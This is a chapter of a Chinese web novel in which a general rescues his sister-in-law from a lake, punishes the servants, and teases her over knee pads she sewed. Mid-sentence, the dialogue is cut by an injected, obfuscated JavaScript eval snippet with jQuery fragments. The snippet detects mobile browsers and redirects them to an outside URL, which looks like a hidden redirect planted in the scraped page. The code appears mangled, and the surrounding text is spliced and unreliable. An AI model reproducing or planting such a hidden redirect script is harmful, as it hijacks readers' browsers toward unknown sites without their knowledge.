折梨子 作品
39. 把戏
这条生命已经脆弱到随时可能会死掉。
喉咙梗塞的厉害,不过,谢鹤徵决定这次要硬气一点。
她不喜欢他,还与那些俗气的女人一般无二,为了那些身外之物,虚情假意地哄弄他,利用他。
只不过,她又有些不同,谢鹤徵想。
不同在,林锦璨心是他软化不了的。
肩上忽感沉重,谢鹤徵抬头瞥向别处,手在袖子里轻轻抖。
他真想狠下心来,就让林锦璨溺死在水里。
岸边渐渐围了人,这些下人们优柔寡断,没有谢老夫人的允许几乎没有人敢下水救人。
林锦璨快要游不动了,盯着谢鹤徵的视线逐渐模糊。
的确,把自己的性命托付在一个男人身上是很可笑的。
林锦璨嘴角不禁上扬起来,一行滚烫的泪水掉入冰凉的湖水里。
也跌在眼前谢鹤徵的心里。
耳中嗡嗡作响,肺几乎要被水泡烂,林锦璨在坠入湖底时,手腕忽然出现的热量,让她重新有了知觉。
她本欲奋力抓住衣料,可没想到的是,一只手掌包住了她的后颈,随后环住了她的后腰。
混沌湖水里水藻还在周围漂着,胸腔被用力撞了下,温暖蔓延全身。
哪个仆从敢这样亲近谢家二夫人?
林锦璨不禁睁开眼,看清楚是谁后,有些茫然无措。
谢鹤徵瞧出林锦璨的诧异,于是双手又紧了几分,身子前倾,闭上眼深深堵上了那两瓣唇。
嘴唇触碰在一起,麻木的舌尖第一次被别人濡湿的,她感受着对方的呼吸,心底莫名酸软的厉害。
他为何要戏弄她一番后,又要施舍她一点情?
林锦璨有点赌气,开始怪罪起无辜的人,虽然错的人分明是她。
她张开贝齿才用力,心脏却又是一绞,良心作祟,她好像不应该对谢鹤徵那么坏。
林锦璨手臂撑住谢鹤徵的胸膛,想要将人推开落荒而逃,可对方却不依不饶抱她愈来愈紧。
柔和冰凉的气息不断灌入,在水里,林锦璨总算舒服了些,她开始的慢慢的适应,到最后完全舍不掉。
她放下了尊严脸面,不再挣扎,双手抓着谢鹤徵的后衣领,贪婪吸入对方输送的气流。
“哗啦。”
二人破水而出,林锦璨呛着水还没回过神,便被谢鹤徵粗暴地拽向岸边。
他语气沉沉,骂道:“自作聪明的蠢货。”
“一百条命也不够你作贱的。”
林锦璨奄奄一息跪倒在草地里,胃和气管里的水让她难受得厉害。
少女的脸色逐渐发红,谢鹤徵终于住嘴了,他抬手把水用力拍出,冷道:“你这条命,谁都不可以作践,除了我。”
“……”
林锦璨勉强应了声,身子哆嗦着,她这下怕是冻伤了筋骨,腿脚根本无法站立,她手上抓了抓,想拉住余光处那块软布借力。
谢鹤徵停下脚步,回头只能瞧见林锦璨的头顶和湿漉漉的睫毛,气鼓鼓的心竟开始膨胀,鼻子酸涩起来。
谢鹤徵抽出衣服,对林锦璨冷漠道:“放手,别乱碰我。”
“……好。”
周遭的丫鬟婆子们见状,终于围了上去,她们给谢鹤徵披上保暖的狐裘,而林锦璨只有一件单薄的外套。
一婆子在谢鹤徵身边跪下:“三公子恕罪,是奴婢们看管不周,扰您清闲了。”
谢鹤徵擦干裸露在空气里的皮肤,闻此一顿,随即冷笑:“看管?”
“你何时听过下人看管主子的道理?”
“我平日里不问后宅之事,你们这些个心肠歹毒的东西,就扭着身子兴风作浪?”
兰时对婆子使了个眼色:“奴婢只是按吩咐做事,哪敢逾矩呢?公子放心,方才奴婢们已经灌好了汤婆子,烧好了暖炉,二夫人……”
谢鹤徵听罢蹙头紧了紧,怒道:“汤婆子有何用?还不快去喊大夫?二夫人若是抱恙,林家和二公子问起来,你们怎么交代?”
兰时垂下眼眸,扣着手指打颤:“…是,奴婢这就去。”
……
阁中窗牗紧闭,燎炉内几块炭火闪烁着猩红,薰笼散发出的沉香,把湖水的腥气掩盖。
屋里忙活了半天,丫鬟们帮林锦璨擦了身子,换了干净的衣裳,大夫也正巧赶来了,几碗参汤灌入,榻上的人还是毫无血色。
谢鹤徵不好待在里面,他透过幔悄悄瞥了林锦璨一眼,便拂袖离去对随从道:“方才那些看热闹的丫鬟婆子呢?”
“在外面候着。”
谢鹤徵眸光一凛:“让她们都进来跪着。”
“等里面的人什么时候好了,就什么时候起来。”
“是。”
此时春寒料峭,还是需要穿袄子的时节,别说在鹅卵石上跪上一个时辰,就算站在风口里站上那么片刻,人也是受不住的。
外头的人得了命令,心里凉了一截,众所周知林家姑娘是个弱不禁风,体弱多病的姑娘,这么一冻,活不活的下来都是个问题呢。
难道她病三日,她们就要跪三日吗?
谢鹤徵只是对军中的弟兄们严苛些,但在谢府,他其实很少惩戒下人,这些人虽听过三公子在外威名,可却不曾真正见识过。
床幔里传来嘤咛哭泣声,林锦璨意识到外头出奇安静,九九跪在她身边,舀着碗里的药汁往她嘴里送。
锦璨微微转动脖子,一圈下来,没有看到想见的人。
九九有些着急,立马贴着林锦璨耳边小声道:“姐姐是在找那个大哥哥吗?他发了好大的脾气,现在就在外面,马上要走的样子呢……”
被窝里暖烘烘的,林锦璨的四肢已经有了知觉,听九九这样说,她揪住被子着急开口说话,肺却一阵麻痒。
她猛烈地咳了起来,推翻小方桌上的碗,嘤咛抽泣起来:“不要推我下去……”
“我不想死…放过我。”
“我不要在这里了,我要回家。”屏风后的婆子听罢,往里头探着脑袋,榻上的少女双手揪着棉被,用被沿捂住半张脸,哭得委屈极了。
柔顺的头发被泪水粘住,细细的眉毛蹙着,手臂上还有着奇怪的红斑,完全是一副楚楚可怜,叫人怜惜的模样。
见谢鹤徵方才那阵仗,婆子们有些发怵,生怕里头的人见机会,在谢鹤徵面前闹幺蛾子。
兰时不就是个例子么?
她,腿怕是废了的。
这几日遵老夫人的话,表面把人伺候好了,实则啊,在林锦璨每日穿的贴身小衫上,撒了一种会让皮肤溃烂的粉末。
老夫人休息是最忌讳旁人打扰,兰时和仆人们又都被谢鹤徵押在外头,压根没法儿通风报信。
她们便装起糊涂来:“二夫人是怎么了?可是做噩梦了?”
谢鹤徵与她一窗之隔,林锦璨知道他会听的很清楚,她摇头,一边掀开被子,一边哭喊着:“我要如归哥哥,我要去找他,他出事了,我也不活了……”
这一下床,婆子们都没反应过来,等伸手抓人时,林锦璨跟个泥鳅一样灵活,三下五除二就推开门,跑了出去。
一路上,她跌跌撞撞地碰倒了不少玉器宝瓶和灯笼,林锦璨素衣赤足在檐廊上奔跑,而前方,那个男人正回头看着她。
林锦璨拽住裙摆,低头闭眼,一个跟头往谢鹤徵后背栽去。
只是手臂忽然被没有眼力的仆从拉住,一道强大的力量,将她推倒在地:“大胆!哪里来的疯妇?胆敢冲撞公子?”
谢鹤徵见状表情不悦,心里暗骂,可他慢慢收回欲扶起林锦璨的手,反倒想看看这个女人怎么跟他低头。
林锦璨微张嘴唇,仿佛这是场意外偶遇:“三公子?三公子救我……”
谢鹤徵没忍住嗤笑:“原来是你啊。”
“嫂嫂晚上好。”
林锦璨跪在他身边,不经意间露出手臂上抓破的红斑,摇头欲泣:“不好,我不好,我身上很难受,有人欺负我……”
“噢。”
谢鹤徵睨着她,一副事不关己的样子,实际上,心都要飞到天上去了,他冷哼道:“你该去找你心爱的夫君,你的如归哥哥,而不是我。”
林锦璨有那么一下顿住。
然后又听见他颇为得意说:“哦,是我忘了,他可能不要你了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14481378|147124||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
。”
“找我没用,一边儿玩泥巴去吧。”
“?”
林锦璨沉默语塞,见人执意要走,她拉下脸面抱住谢鹤徵小腿,在地上摩擦了半米后,直接“晕死”过去。
谢鹤徵:“……”
他蹲下摇头轻笑,把手从袖子里钻出来,想戳一戳那水蜜桃一样的脸颊,但他很快反应过来,林锦璨是他的二嫂。
谢鹤徵收回笑容,干咳了声:“还不把二夫人送回绛云阁去?”
随从觉得自己的小表情被主子看到,亦有些尴尬,他忙点头:“是!”
姗姗来迟的婆子们见谢鹤徵要把人带走,急得不行,一人喘着气:“公子且慢,二夫人是老夫人请来这里做客的,您这样怕是不妥。”
“落水无人救援,还不晓得用了吃了什么过敏的东西,你们就是这么对待客人的?”
谢鹤徵难得与人废口舌:“怎么?要武逆我?你们这些老东西在谢家待了这么久,还分不清谁是你真正的主人?”
“……”
待人离开后,为首的婆子对旁人使了个眼色:“去,快去告诉老夫人。”
……
绛云阁没了主人,红椿这几日又恰巧染了风寒起不来床,剩下的这几个婢女整日睡到日上三竿,夜里就聚在暖阁里嗑着瓜子,打打牌。
散漫的很。
只有云浓算是本分,老老实实等着主子回来,她铺好被子准备睡下,却听外头响动,出门一看,竟是二夫人回来了。
二夫人是被下人背着回来的,身后还跟着……三公子?
云浓不知是喜还是忧,忙把林锦璨接过来:“这是怎么了…奴婢去喊大夫来吧。”
“不用,她没晕。”
林锦璨:“……”
云浓一愣,觉得屋子里有些冷,转身去了柴房拿暖炉。
屋子里没有别人,谢鹤徵瞥了眼林锦璨叹道:“好好睡一觉吧,之后的事情不必担心,我会看在当初你救我的份儿上,最后护你一次。”
他道:“下月我与嘉宁郡主成婚,婚后我便要出征,快则几月慢则几年,不知归期,以后你走你的阳关道,我走我的独木桥,不要有任何牵扯。”
出征?
没有男人是长情的,况且那么长时间不见。谢鹤徵忘了她怎么办?没了这个靠山,她还玩个球?
林锦璨蹙眉,索性不再装晕了,她睁眼喊住谢鹤徵:“慢着。”
身边的烛火摇曳颤抖了下,又迅速恢复了平静,谢鹤徵感到余光处,那个淡薄的人坐了起来。
他嘴角上翘,冷道:“嫂嫂有何事?”
“我给你缝了几双护膝,在柜子里,你不嫌弃就拿走吧。”
“哦?特意给我的?”谢鹤徵饶有兴致。
“嗯,除了你还有谁用的着。”林锦璨张开手指:“看,手都扎破了,很疼的。”
谢鹤徵弯腰,端详着林锦璨食指上结痂的血点:“哼,那可不一定,谁知道你又红杏出墙了谁呢。”
“我没有别人,我只有你。”林锦璨见谢鹤徵哼哧哼哧地去了柜子边上:“喜欢吗?”
林锦璨满怀期待,又有些许紧张。
她不太会女红,熬夜缝制的那些护膝,其实有很多都是次品,歪歪扭扭的针脚,不成形状的裁剪。
但她记得都让云浓扔掉了。
所以,柜子里的虽不说多么精致,但总不会闹笑话,她自信谢鹤徵一定会收下。
“这比谢如归腰粗的东西是护膝?”
林锦璨一愣,抬头看见谢鹤徵手里的残次品,脸都红了,她跑下榻,踮起脚去够它:“……这不是,快放回去!”
谢鹤徵借着身高优势,似玩起了逗猫棒。
林锦璨咬牙,戏弄就算了,她还听见谢鹤徵的嘲笑声,以及他的拒绝:“这个快比我腰都粗了,好滑稽,有些不符合我的形象。”
“给你的如归哥哥吧。”语罢,还不忘损情敌一嘴:“他很适合。”
“……”
林锦璨道:“你要多远走多远,最好是永远留在那里,别回来了。”
谢鹤徵耸肩,灵巧躲林锦璨那一掌,在她看不到的角度,将那对最丑的护膝悄悄塞入了袖中。